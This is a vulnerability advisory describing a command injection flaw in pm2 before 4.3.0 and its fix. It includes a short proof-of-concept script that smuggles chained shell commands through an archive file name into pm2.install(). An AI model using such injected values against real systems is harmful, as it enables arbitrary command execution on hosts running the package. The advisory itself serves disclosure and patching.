Command Injection Affecting pm2 package, versions <4.3.0


Severity

Recommended
0.0
medium
0
10

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  • Snyk IDSNYK-JS-PM2-474345
  • published25 Oct 2019
  • disclosed24 Oct 2019
  • creditbl4de

Introduced: 24 Oct 2019

CVE NOT AVAILABLE CWE-78  (opens in a new tab)

How to fix?

Upgrade pm2 to version 4.3.0 or higher.

Overview

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import() function when tar.gz archive is installed with a name provided as user controlled input.

PoC by bl4de

// pm2_exploit.js

'use strict' const pm2 = require('pm2')

// payload - user controllable input const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"

pm2.connect(function(err) { if (err) { console.error(err) process.exit(2) }

pm2.start({

}, (err, apps) =&gt; {
    pm2.install(payload, {}) // injection
    pm2.disconnect()
    if (err) {
        throw err
    }
})

})

CVSS Scores

version 3.1